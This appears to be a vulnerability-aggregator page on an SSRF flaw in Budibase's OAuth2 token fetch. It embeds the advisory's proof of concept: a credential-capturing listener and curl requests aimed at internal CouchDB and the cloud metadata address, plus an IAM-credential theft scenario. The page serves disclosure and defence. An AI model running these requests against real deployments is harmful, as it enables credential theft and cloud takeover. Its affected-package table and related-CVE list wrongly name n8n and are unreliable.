Budibase's @budibase/server contains an SSRF vulnerability where the OAuth2 token fetch function bypasses the safe URL wrapper fetchWithBlacklist() used everywhere else in the codebase, allowing any user with BUILDER role to redirect server-side HTTP requests to internal services including CouchDB, Redis, or cloud metadata endpoints at 169.254.169.254. With an EPSS percentile in the top 10% and a fully weaponized PoC published in the advisory itself, exploitation requires zero specialized knowledge — a BUILDER role is sufficient. A second independent SSRF vector in the REST integration allows blacklist bypass via HTTP redirect chains, doubling the attack surface. Cloud-hosted deployments face the highest severity outcome: IAM credential theft enabling full cloud account takeover. Upgrade @budibase/server to 3.39.0 immediately; if patching is delayed, block egress to 169.254.169.254 and RFC-1918 ranges at the network level and audit all BUILDER role assignments.
What is the risk?
HIGH. CVSS 7.7 with Scope:Changed reflects realistic pivot from application-layer access to internal network reconnaissance and cloud credential exfiltration. The EPSS percentile in the top 10% indicates above-average exploitation likelihood despite the low raw score. The attack requires only BUILDER role — routinely granted to developers and power users in self-service and multi-tenant deployments — meaning the effective attack surface is broad. The PoC in the public advisory is copy-paste ready. A secondary SSRF via the REST redirect bypass operates without any blacklist protection and is independently exploitable. Cloud-hosted instances face the highest risk profile; on-premise deployments are still exposed to internal database and service compromise.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| n8n | npm | < 3.39.0 | 3.39.0 |
Do you use n8n? You're affected.
How severe is it?
What is the attack surface?
What should I do?
5 steps-
PATCH
Upgrade @budibase/server to 3.39.0, which applies fetchWithBlacklist() to the OAuth2 token endpoint. Verify the REST integration redirect bypass is also addressed in this release.
-
NETWORK EGRESS CONTROLS
Block outbound connections from the application server to 169.254.169.254, 100.100.100.200 (Alibaba metadata), and RFC-1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) as defense-in-depth.
-
ROLE AUDITING
Treat BUILDER role as equivalent to low-privileged internal attacker — audit current assignments and apply least privilege.
-
DETECTION
Alert on outbound HTTP requests from the application server to metadata IP ranges or unexpected internal hosts; review application logs for OAuth2 validation calls to non-standard URLs.
-
CREDENTIAL ROTATION
If exposure is suspected, immediately rotate cloud IAM credentials, OAuth2 client secrets stored in Budibase configurations, and CouchDB credentials.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-48146?
Budibase's @budibase/server contains an SSRF vulnerability where the OAuth2 token fetch function bypasses the safe URL wrapper fetchWithBlacklist() used everywhere else in the codebase, allowing any user with BUILDER role to redirect server-side HTTP requests to internal services including CouchDB, Redis, or cloud metadata endpoints at 169.254.169.254. With an EPSS percentile in the top 10% and a fully weaponized PoC published in the advisory itself, exploitation requires zero specialized knowledge — a BUILDER role is sufficient. A second independent SSRF vector in the REST integration allows blacklist bypass via HTTP redirect chains, doubling the attack surface. Cloud-hosted deployments face the highest severity outcome: IAM credential theft enabling full cloud account takeover. Upgrade @budibase/server to 3.39.0 immediately; if patching is delayed, block egress to 169.254.169.254 and RFC-1918 ranges at the network level and audit all BUILDER role assignments.
Is CVE-2026-48146 actively exploited?
No confirmed active exploitation of CVE-2026-48146 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-48146?
1. PATCH: Upgrade @budibase/server to 3.39.0, which applies fetchWithBlacklist() to the OAuth2 token endpoint. Verify the REST integration redirect bypass is also addressed in this release. 2. NETWORK EGRESS CONTROLS: Block outbound connections from the application server to 169.254.169.254, 100.100.100.200 (Alibaba metadata), and RFC-1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) as defense-in-depth. 3. ROLE AUDITING: Treat BUILDER role as equivalent to low-privileged internal attacker — audit current assignments and apply least privilege. 4. DETECTION: Alert on outbound HTTP requests from the application server to metadata IP ranges or unexpected internal hosts; review application logs for OAuth2 validation calls to non-standard URLs. 5. CREDENTIAL ROTATION: If exposure is suspected, immediately rotate cloud IAM credentials, OAuth2 client secrets stored in Budibase configurations, and CouchDB credentials.
What systems are affected by CVE-2026-48146?
This vulnerability affects the following AI/ML architecture patterns: AI agent platforms, Low-code/no-code automation platforms, Cloud-deployed AI applications, OAuth2-integrated AI workflows.
What is the CVSS score for CVE-2026-48146?
CVE-2026-48146 has a CVSS v3.1 base score of 7.7 (HIGH). The EPSS exploitation probability is 0.03%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0012 Valid Accounts AML.T0025 Exfiltration via Cyber Means AML.T0049 Exploit Public-Facing Application AML.T0055 Unsecured Credentials AML.T0106 Exploitation for Credential Access Compliance Controls Affected
What are the technical details?
Original Advisory
### Summary The OAuth2 token fetch function in `packages/server/src/sdk/workspace/oauth2/utils.ts` (line 59) uses raw `fetch(config.url)` with **no SSRF protection**. The safe wrapper `fetchWithBlacklist()` exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was **not applied** to the OAuth2 token endpoint. A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data. ### Details **Vulnerable code — `packages/server/src/sdk/workspace/oauth2/utils.ts:59`:** ```typescript async function fetchToken(config: OAuth2Config): Promise<TokenResponse> { // ... const response = await fetch(config.url, fetchConfig) // NO blacklist check! // ... } ``` **Safe wrapper used everywhere else — `packages/backend-core/src/utils/outboundFetch.ts`:** ```typescript export async function fetchWithBlacklist(url: string, opts?: RequestInit) { await blacklist.isBlacklisted(url) // Checks against internal IPs const response = await fetch(url, { ...opts, redirect: "manual" }) // Re-checks every redirect target } ``` **Where `fetchWithBlacklist` IS used (consistency gap proof):** - `automations/steps/discord.ts` — Discord webhook - `automations/steps/slack.ts` — Slack webhook - `automations/steps/make.ts` — Make.com integration - `automations/steps/n8n.ts` — n8n integration - `automations/steps/zapier.ts` — Zapier integration - `automations/steps/outgoingWebhook.ts` — Custom webhooks - Plugin download (GitHub, NPM) - Object store tarball downloads **Where it is NOT used:** - `sdk/workspace/oauth2/utils.ts:59` — OAuth2 token fetch ← **THIS VULNERABILITY** ### PoC ```bash # 1. Start SSRF listener python3 -c " import http.server class H(http.server.BaseHTTPRequestHandler): def do_POST(self): length = int(self.headers.get('Content-Length', 0)) body = self.rfile.read(length) print(f'SSRF: {self.path} | Body: {body.decode()}') self.send_response(200) self.send_header('Content-Type','application/json') self.end_headers() self.wfile.write(b'{\"access_token\":\"x\",\"token_type\":\"bearer\"}') http.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever() " & # 2. As builder, validate OAuth2 config pointing to internal service curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:9999/ssrf","clientId":"test","clientSecret":"test"}' # Result: Listener captures POST with Authorization: Basic header containing credentials # The client_id and client_secret are leaked to the attacker-controlled URL # 3. Access internal CouchDB curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:5984/_all_dbs","clientId":"x","clientSecret":"x"}' # Result: {"valid":false,"message":"Unauthorized"} — confirms CouchDB is reachable # 4. Access AWS metadata (in cloud deployments) curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \ -H "Content-Type: application/json" \ -d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"x","clientSecret":"x"}' ``` ### Additional SSRF Vector: REST Integration Redirect Bypass The REST integration at `packages/server/src/integrations/rest.ts:754-778` calls `blacklist.isBlacklisted(url)` only once on the initial URL, then passes it to `undici.fetch()` with default `redirect: "follow"`. Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to `169.254.169.254`. **Contrast with safe wrapper:** `fetchWithBlacklist()` uses `redirect: "manual"` and re-checks every redirect target. ### Impact - **Internal service access** — CouchDB (default port 5984), Redis, internal APIs - **Cloud metadata exfiltration** — AWS/GCP/Azure IAM credentials via 169.254.169.254 - **Credential leakage** — OAuth2 client_id and client_secret sent as Basic auth to attacker URL - **Network reconnaissance** — Scan internal ports by observing error differences (ECONNREFUSED vs timeout vs response) ### Remediation Replace `fetch(config.url, fetchConfig)` with `fetchWithBlacklist(config.url, fetchConfig)` in `packages/server/src/sdk/workspace/oauth2/utils.ts`: ```typescript import { fetchWithBlacklist } from "@budibase/backend-core/utils" async function fetchToken(config: OAuth2Config): Promise<TokenResponse> { // ... const response = await fetchWithBlacklist(config.url, fetchConfig) // ... } ``` Also fix the REST integration redirect bypass in `packages/server/src/integrations/rest.ts` by using `fetchWithBlacklist()` instead of raw `undici.fetch()`.
Exploitation Scenario
An attacker holding BUILDER role — via a compromised developer account, malicious insider, or in a multi-tenant SaaS deployment via their own tenant — navigates to OAuth2 configuration in Budibase and sets the token URL to http://169.254.169.254/latest/meta-data/iam/security-credentials/. When triggering the OAuth2 validation endpoint via the API, the server executes a raw fetch() to the AWS instance metadata service. The response containing AccessKeyId, SecretAccessKey, and SessionToken is returned in the error response or captured by monitoring the attacker-controlled endpoint receiving the Basic auth header with client credentials. The attacker then uses the harvested IAM keys to call AWS APIs directly, establishing persistent cloud access entirely outside Budibase. Alternatively, targeting CouchDB at 127.0.0.1:5984/_all_dbs maps the database structure for a subsequent targeted exfiltration of all application data.
Weaknesses (CWE)
CWE-918 — Server-Side Request Forgery (SSRF): The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N References
Timeline
Related Vulnerabilities
CVE-2026-33663 10.0 n8n: member role steals plaintext HTTP credentials
Same package: n8n CVE-2026-33660 10.0 TensorFlow: type confusion NPD in tensor conversion
Same package: n8n CVE-2026-21858 10.0 n8n: Input Validation flaw enables exploitation
Same package: n8n CVE-2026-27577 9.9 n8n: Code Injection enables RCE
Same package: n8n CVE-2026-27494 9.9 n8n: security flaw enables exploitation
Same package: n8n